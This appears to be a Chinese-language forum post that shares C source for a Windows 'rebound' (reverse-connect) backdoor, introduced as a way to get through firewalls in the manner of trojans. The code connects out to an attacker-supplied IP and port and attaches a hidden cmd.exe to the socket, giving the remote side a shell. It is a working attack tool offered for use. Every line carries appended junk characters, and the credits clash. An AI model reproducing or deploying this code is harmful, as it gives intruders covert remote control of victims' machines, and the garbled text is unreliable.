这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [J'O5"T
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/* ============================== "Cz8nG
Rebound port in Windows NT p<w2e
By wind,2006/7 &QaFX,N"
===============================*/ Cx.GEY|0
#include /~?'zr
#include C 'YL9r-G
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#pragma comment(lib,"wsock32.lib") qHT_,\l2
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void OutputShell(); &&/2oP+z
SOCKET sClient; @j/UDM
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "Zo<$p3]
h JVy-]
void main(int argc,char **argv) fO+$`r>9
{ umt*;U=
WSADATA stWsaData; gr?[KDl~
int nRet; +9MoKn=h
SOCKADDR_IN stSaiClient,stSaiServer; Dp)5u@I
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if(argc != 3) KiXRBFo
{ \t6k(5J
printf("Useage:\n\rRebound DestIP DestPort\n"); RqV* O}Am
return; j:)"s_
} [YbnpI
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0}a="`p#<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PyOj{WX>W
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stSaiClient.sin_family = AF_INET; V&i/3g
stSaiClient.sin_port = htons(0); q97Z .o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;<j[0~qp:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N,Fmu
{ G4=R4'hC
printf("Bind Socket Failed!\n"); e}
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return; {$,t^hd
} gLyXe,Jp
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stSaiServer.sin_family = AF_INET; )5NfOvmNB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EDMuQu/D8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y8c#"vm(
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6FYO5=R
{ u0&QStI
printf("Connect Error!"); fwe4f
return; >l<`)4*H
} op\'T;xIu
OutputShell(); 7r F )fKW
} 7+!4pf
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void OutputShell() 2U;6sn*e
{ O;bnyB$
char szBuff[1024]; tZW2TUM]
SECURITY_ATTRIBUTES stSecurityAttributes; - '<K_e;
OSVERSIONINFO stOsversionInfo; :Pa^/i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M0+xl+c+
STARTUPINFO stStartupInfo; 4 f)B@A-
char *szShell; P!c.!8C$
PROCESS_INFORMATION stProcessInformation; b4Y<
unsigned long lBytesRead; C`4m#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d) i:-#Q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >bwB+-l yL
stSecurityAttributes.lpSecurityDescriptor = 0; #(i9G^K
stSecurityAttributes.bInheritHandle = TRUE; 6ol*$Q"z
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I&m C
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~AqFLv/%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dF@m4U@L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E79'<;K,zs
stStartupInfo.wShowWindow = SW_HIDE; Z1 7=g@
stStartupInfo.hStdInput = hReadPipe; -rn%ASye
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K~1uR:DR
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GetVersionEx(&stOsversionInfo); 0Yzm\"Ggv
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switch(stOsversionInfo.dwPlatformId) ?pBQaUl&
{ ,QB]y|:
case 1: Fv| )[>z0
szShell = "command.com"; 0bl?dOV{
break; e7n[NVrX
default: ? Zhnb0/
szShell = "cmd.exe"; Q%_QT0H9Kz
break; dH5 Go9`~R
} #N?VbDK9_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^k*h
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send(sClient,szMsg,77,0); 3PLYC}Jq
while(1) 4p}?QR>tZ
{ 0*=[1tdWY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vYPZVqF_$
if(lBytesRead) 0~/'c0Ho
{ })V^t3
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4r+@7hnK
send(sClient,szBuff,lBytesRead,0); e&R?9z-*
} "j2th.
else SS)9+0$
{ uK6'TJ
lBytesRead=recv(sClient,szBuff,1024,0); // k`X
if(lBytesRead<=0) break; ;2k!KW@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r5>1n/+6
} Q\QSnMM&]
} S6<z2-y
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return; fk6`DUBV
}